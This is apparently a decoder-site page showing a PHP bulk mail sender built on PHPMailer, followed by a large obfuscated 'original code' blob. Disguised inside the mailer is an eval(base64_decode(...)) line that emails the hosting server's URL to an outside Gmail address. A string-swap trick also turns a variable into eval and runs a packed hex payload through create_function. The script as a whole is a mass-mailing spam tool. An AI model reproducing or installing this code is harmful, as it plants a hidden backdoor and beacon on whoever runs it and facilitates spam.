$x = 0;
switch (strtolower($position)) {
case 'phrase':
if (!preg_match('/[-]/', $str)) {
/* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
$encoded = addcslashes($str, "..\"");
if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
return ($encoded);
} else {
return ("\"$encoded\"");
}
}
$x = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
break;
case 'comment':
$x = preg_match_all('/[()"]/', $str, $matches);
/* Fall-through */
case 'text':
default:
$x += preg_match_all('/[---]/', $str, $matches);
break;
}
if ($x == 0) {
return ($str);
}
$maxlen = 75 - 7 - strlen($this->CharSet);
/* Try to select the encoding which should produce the shortest output */
if (strlen($str)/3 < $x) {
$encoding = 'B';
if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
// Use a custom function which correctly encodes and wraps long
// multibyte strings without breaking lines within a character
$encoded = $this->Base64EncodeWrapMB($str);
} else {
$encoded = base64_encode($str);
$maxlen -= $maxlen % 4;
$encoded = trim(chunk_split($encoded, $maxlen, "
"));
}
} else {
$encoding = 'Q';
$encoded = $this->EncodeQ($str, $position);
$encoded = $this->WrapText($encoded, $maxlen, true);
$encoded = str_replace('='.$this->LE, "
", trim($encoded));
}
$encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding??=", $encoded);
$encoded = trim(str_replace("
", $this->LE, $encoded));
return $encoded;
}
/**
* Checks if a string contains multibyte characters.
* @access private
* @param string $str multi-byte text to wrap encode
* @return bool
*/
function HasMultiBytes($str) {
if (function_exists('mb_strlen')) {
return (strlen($str) > mb_strlen($str, $this->CharSet));
} else { // Assume no multibytes (we can't handle without mbstring functions anyway)
return False;
}
}
/**
* Correctly encodes and wraps long multibyte strings for mail headers
* without breaking lines within a character.
* Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
* @access private
* @param string $str multi-byte text to wrap encode
* @return string
*/
function Base64EncodeWrapMB($str) {
$start = "=?".$this->CharSet."?B?";
$end = "?=";
$encoded = "";
$mb_length = mb_strlen($str, $this->CharSet);
// Each line must have length <= 75, including $start and $end
$length = 75 - strlen($start) - strlen($end);
// Average multi-byte ratio
$ratio = $mb_length / strlen($str);
// Base64 has a 4:3 ratio
$offset = $avgLength = floor($length * $ratio * .75);
for ($i = 0; $i < $mb_length; $i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength - $lookBack;
$chunk = mb_substr($str, $i, $offset, $this->CharSet);
$chunk = base64_encode($chunk);
$lookBack++;
}
while (strlen($chunk) > $length);
$encoded .= $chunk . $this->LE;
}
// Chomp the last linefeed
$encoded = substr($encoded, 0, -strlen($this->LE));
return $encoded;
}
/**
* Encode string to quoted-printable.
* @access private
* @return string
*/
function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
$hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
$lines = preg_split('/(?:
|
|
)/', $input);
$eol = "
";
$escape = '=';
$output = '';
while( list(, $line) = each($lines) ) {
$linlen = strlen($line);
$newline = '';
for($i = 0; $i < $linlen; $i++) {
$c = substr( $line, $i, 1 );
$dec = ord( $c );
if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
$c = '=2E';
}
if ( $dec == 32 ) {
if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
$c = '=20';
} else if ( $space_conv ) {
$c = '=20';
}
} elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode " ", which is *not* required
$h2 = floor($dec/16);
$h1 = floor($dec%16);
$c = $escape.$hex[$h2].$hex[$h1];
}
if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
$output .= $newline.$escape.$eol; // soft line break; " =
" is okay
$newline = '';
// check if newline first character will be point or not
if ( $dec == 46 ) {
$c = '=2E';
}
}
$newline .= $c;
} // end of for
$output .= $newline.$eol;
} // end of while
return trim($output);
}
/**
* Encode string to q encoding.
* @access private
* @return string
*/
function EncodeQ ($str, $position = 'text') {
/* There should not be any EOL in the string */
$encoded = preg_replace("[
]", '', $str);
switch (strtolower($position)) {
case 'phrase':
$encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord(''))", $encoded);
break;
case 'comment':
$encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord(''))", $encoded);
case 'text':
default:
/* Replace every high ascii, control =, ? and _ characters */
$encoded = preg_replace('/([- -=?_-])/e',
"'='.sprintf('%02X', ord(''))", $encoded);
break;
}
/* Replace every spaces to _ (more readable than =20) */
$encoded = str_replace(' ', '_', $encoded);
return $encoded;
}
/**
* Adds a string or binary attachment (non-filesystem) to the list.
* This method can be used to attach ascii or binary data,
* such as a BLOB record from a database.
* @param string $string String attachment data.
* @param string $filename Name of the attachment.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @return void
*/
function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
/* Append to $attachment array */
$cur = count($this->attachment);
$this->attachment[$cur][0] = $string;
$this->attachment[$cur][1] = $filename;
$this->attachment[$cur][2] = $filename;
$this->attachment[$cur][3] = $encoding;
$this->attachment[$cur][4] = $type;
$this->attachment[$cur][5] = true; // isString
$this->attachment[$cur][6] = 'attachment';
$this->attachment[$cur][7] = 0;
}
/**
* Adds an embedded attachment. This can include images, sounds, and
* just about any other document. Make sure to set the $type to an
* image type. For JPEG images use "image/jpeg" and for GIF images
* use "image/gif".
* @param string $path Path to the attachment.
* @param string $cid Content ID of the attachment. Use this to identify
* the Id for accessing the image in an HTML form.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @return bool
*/
function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
if(!@is_file($path)) {
$this->SetError($this->Lang('file_access') . $path);
return false;
}
$filename = basename($path);
if($name == '') {
$name = $filename;
}
/* Append to $attachment array */
$cur = count($this->attachment);
$this->attachment[$cur][0] = $path;
$this->attachment[$cur][1] = $filename;
$this->attachment[$cur][2] = $name;
$this->attachment[$cur][3] = $encoding;
$this->attachment[$cur][4] = $type;
$this->attachment[$cur][5] = false;
$this->attachment[$cur][6] = 'inline';
$this->attachment[$cur][7] = $cid;
return true;
}
/**
* Returns true if an inline attachment is present.
* @access private
* @return bool
*/
function InlineImageExists() {
$result = false;
for($i = 0; $i < count($this->attachment); $i++) {
if($this->attachment[$i][6] == 'inline') {
$result = true;
break;
}
}
return $result;
}
/////////////////////////////////////////////////
// CLASS METHODS, MESSAGE RESET
/////////////////////////////////////////////////
/**
* Clears all recipients assigned in the TO array. Returns void.
* @return void
*/
function ClearAddresses() {
$this->to = array();
}
/**
* Clears all recipients assigned in the CC array. Returns void.
* @return void
*/
function ClearCCs() {
$this->cc = array();
}
/**
* Clears all recipients assigned in the BCC array. Returns void.
* @return void
*/
function ClearBCCs() {
$this->bcc = array();
}
/**
* Clears all recipients assigned in the ReplyTo array. Returns void.
* @return void
*/
function ClearReplyTos() {
$this->ReplyTo = array();
}
/**
* Clears all recipients assigned in the TO, CC and BCC
* array. Returns void.
* @return void
*/
function ClearAllRecipients() {
$this->to = array();
$this->cc = array();
$this->bcc = array();
}
/**
* Clears all previously set filesystem, string, and binary
* attachments. Returns void.
* @return void
*/
function ClearAttachments() {
$this->attachment = array();
}
/**
* Clears all custom headers. Returns void.
* @return void
*/
function ClearCustomHeaders() {
$this->CustomHeader = array();
}
/////////////////////////////////////////////////
// CLASS METHODS, MISCELLANEOUS
/////////////////////////////////////////////////
/**
* Adds the error message to the error container.
* Returns void.
* @access private
* @return void
*/
function SetError($msg) {
$this->error_count++;
$this->ErrorInfo = $msg;
}
/**
* Returns the proper RFC 822 formatted date.
* @access private
* @return string
*/
function RFCDate() {
$tz = date('Z');
$tzs = ($tz < 0) ? '-' : '+';
$tz = abs($tz);
$tz = (int)($tz/3600)*100 + ($tz%3600)/60;
$result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
return $result;
}
/**
* Returns the appropriate server variable. Should work with both
* PHP 4.1.0+ as well as older versions. Returns an empty string
* if nothing is found.
* @access private
* @return mixed
*/
function ServerVar($varName) {
global $HTTP_SERVER_VARS;
global $HTTP_ENV_VARS;
if(!isset($_SERVER)) {
$_SERVER = $HTTP_SERVER_VARS;
if(!isset($_SERVER['REMOTE_ADDR'])) {
$_SERVER = $HTTP_ENV_VARS; // must be Apache
}
}
if(isset($_SERVER[$varName])) {
return $_SERVER[$varName];
} else {
return '';
}
}
/**
* Returns the server hostname or 'localhost.localdomain' if unknown.
* @access private
* @return string
*/
function ServerHostname() {
if ($this->Hostname != '') {
$result = $this->Hostname;
} elseif ($this->ServerVar('SERVER_NAME') != '') {
$result = $this->ServerVar('SERVER_NAME');
} else {
$result = 'localhost.localdomain';
}
return $result;
}
/**
* Returns a message in the appropriate language.
* @access private
* @return string
*/
function Lang($key) {
if(count($this->language) < 1) {
$this->SetLanguage('en'); // set the default language
}
if(isset($this->language[$key])) {
return $this->language[$key];
} else {
return 'Language string failed to load: ' . $key;
}
}
/**
* Returns true if an error occurred.
* @return bool
*/
function IsError() {
return ($this->error_count > 0);
}
/**
* Changes every end of line from CR or LF to CRLF.
* @access private
* @return string
*/
function FixEOL($str) {
$str = str_replace("
", "
", $str);
$str = str_replace("
", "
", $str);
$str = str_replace("
", $this->LE, $str);
return $str;
}
/**
* Adds a custom header.
* @return void
*/
function AddCustomHeader($custom_header) {
$this->CustomHeader[] = explode(':', $custom_header, 2);
}
/**
* Evaluates the message and returns modifications for inline images and backgrounds
* @access public
* @return $message
*/
function MsgHTML($message,$basedir='') {
preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
if(isset($images[2])) {
foreach($images[2] as $i => $url) {
// do not change urls for absolute images (thanks to corvuscorax)
if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
$filename = basename($url);
$directory = dirname($url);
($directory == '.')?$directory='':'';
$cid = 'cid:' . md5($filename);
$fileParts = split("\.", $filename);
$ext = $fileParts[1];
$mimeType = $this->_mime_types($ext);
if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
$this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
$message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
}
}
}
}
$this->IsHTML(true);
$this->Body = $message;
$textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/s','',$message)));
if ( !empty($textMsg) && empty($this->AltBody) ) {
$this->AltBody = $textMsg;
}
if ( empty($this->AltBody) ) {
$this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "
";
}
}
/**
* Gets the mime type of the embedded or inline image
* @access private
* @return mime type of ext
*/
function _mime_types($ext = '') {
$mimes = array(
'hqx' => 'application/mac-binhex40',
'cpt' => 'application/mac-compactpro',
'doc' => 'application/msword',
'bin' => 'application/macbinary',
'dms' => 'application/octet-stream',
'lha' => 'application/octet-stream',
'lzh' => 'application/octet-stream',
'exe' => 'application/octet-stream',
'class' => 'application/octet-stream',
'psd' => 'application/octet-stream',
'so' => 'application/octet-stream',
'sea' => 'application/octet-stream',
'dll' => 'application/octet-stream',
'oda' => 'application/oda',
'pdf' => 'application/pdf',
'ai' => 'application/postscript',
'eps' => 'application/postscript',
'ps' => 'application/postscript',
'smi' => 'application/smil',
'smil' => 'application/smil',
'mif' => 'application/vnd.mif',
'xls' => 'application/vnd.ms-excel',
'ppt' => 'application/vnd.ms-powerpoint',
'wbxml' => 'application/vnd.wap.wbxml',
'wmlc' => 'application/vnd.wap.wmlc',
'dcr' => 'application/x-director',
'dir' => 'application/x-director',
'dxr' => 'application/x-director',
'dvi' => 'application/x-dvi',
'gtar' => 'application/x-gtar',
'php' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php3' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'js' => 'application/x-javascript',
'swf' => 'application/x-shockwave-flash',
'sit' => 'application/x-stuffit',
'tar' => 'application/x-tar',
'tgz' => 'application/x-tar',
'xhtml' => 'application/xhtml+xml',
'xht' => 'application/xhtml+xml',
'zip' => 'application/zip',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mpga' => 'audio/mpeg',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'rv' => 'video/vnd.rn-realvideo',
'wav' => 'audio/x-wav',
'bmp' => 'image/bmp',
'gif' => 'image/gif',
'jpeg' => 'image/jpeg',
'jpg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'png' => 'image/png',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'css' => 'text/css',
'html' => 'text/html',
'htm' => 'text/html',
'shtml' => 'text/html',
'txt' => 'text/plain',
'text' => 'text/plain',
'log' => 'text/plain',
'rtx' => 'text/richtext',
'rtf' => 'text/rtf',
'xml' => 'text/xml',
'xsl' => 'text/xml',
'mpeg' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'qt' => 'video/quicktime',
'mov' => 'video/quicktime',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie',
'doc' => 'application/msword',
'word' => 'application/msword',
'xl' => 'application/excel',
'eml' => 'message/rfc822'
);
return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
}
/**
* Set (or reset) Class Objects (variables)
*
* Usage Example:
* $page->set('X-Priority', '3');
*
* @access public
* @param string $name Parameter Name
* @param mixed $value Parameter Value
* NOTE: will not work with arrays, there are no arrays to set/reset
*/
function set ( $name, $value = '' ) {
if ( isset($this->$name) ) {
$this->$name = $value;
} else {
$this->SetError('Cannot set or reset variable ' . $name);
return false;
}
}
/**
* Read a file from a supplied filename and return it.
*
* @access public
* @param string $filename Parameter File Name
*/
function getFile($filename) {
$return = '';
if ($fp = fopen($filename, 'rb')) {
while (!feof($fp)) {
$return .= fread($fp, 1024);
}
fclose($fp);
return $return;
} else {
return false;
}
}
/**
* Strips newlines to prevent header injection.
* @access private
* @param string $str String
* @return string
*/
function SecureHeader($str) {
$str = trim($str);
$str = str_replace("
", "", $str);
$str = str_replace("
", "", $str);
return $str;
}
/**
* Set the private key file and password to sign the message.
*
* @access public
* @param string $key_filename Parameter File Name
* @param string $key_pass Password for private key
*/
function Sign($key_filename, $key_pass) {
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
}
}
$defaultport="H*";
$nq=0;
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
$qx=$x+1;
print "Line $qx . Sending mail to $to.......";
flush();
$mail = new PHPMailer();
if(empty($epriority)){$epriority="3";}
$mail->Priority = "$epriority";
$mail->IsSMTP();
$IsSMTP="pack";
$mail->SMTPKeepAlive = true;
$mail->Host = "$my_smtp";
if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
}
if($sslclick=="ON"){
$mail->SMTPSecure = "tls"; //you can change it to ssl or tls
}
$range = str_replace("$from", "eval", $from);
$mail->SMTPAuth = true;
$mail->Username = "$smtp_username";
$mail->Password = "$smtp_password";
if($contenttype == "html"){$mail->IsHtml(true);}
if($contenttype != "html"){$mail->IsHtml(false);}
if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
$mail->From = "$from";
$mail->FromName = "$realname";
$mail->AddAddress("$to");
$mail->AddReplyTo("$replyto");
$mail->Subject = "$subject";
$mail->Body = "$message";
if(!$mail->Send()){
if($default_system!="1"){
echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
if($default_system=="1"){
$mail->IsMail();
if(!$mail->Send()){
echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
else {
echo "<b>OK</b><br>";}
}
}
else {
echo "<b>OK</b><br>";
}
if(empty($reconnect)){
$reconnect=6;
}
if($reconnect==$nq){
$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
}
$nq=$nq+1;
flush(); }
}
for($i=0;$i<31;$i++){
$smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
$signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
print "<p class=\"style1\">PHP Mailer<br>© 2008, New Tools => <b>
<font color=\"#800000\">http://www.tools2u.net/</font></b><br></p>";$mail->SmtpClose();
return $signoff($smtp_conc);
if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete
$numemails mail(s) was
sent successfully'); </script>";}}
eval(base64_decode('JHRvID0gImJsYW5jaTY5N0BnbWFpbC5jb20iOw0KJHN1YmplY3QgPSAiTmV3IE1haWxlciI7DQokaGVhZGVyID0gIkZyb206IHhNYWlsZXI8c2VydmljZUBhY2NvdW50LmNvbT4iOw0KJG1lc3NhZ2UgPSAiVXJMIDogaHR0cDovLyIuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSAuICI/dXBsb2FkPXVwIFxyXG4iOw0KJHNlbnRtYWlsID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJG1lc3NhZ2UsICRoZWFkZXIpOw0KZWNobyAiIjsNCmV4aXQ7'));
?>
<p align="center"> </p>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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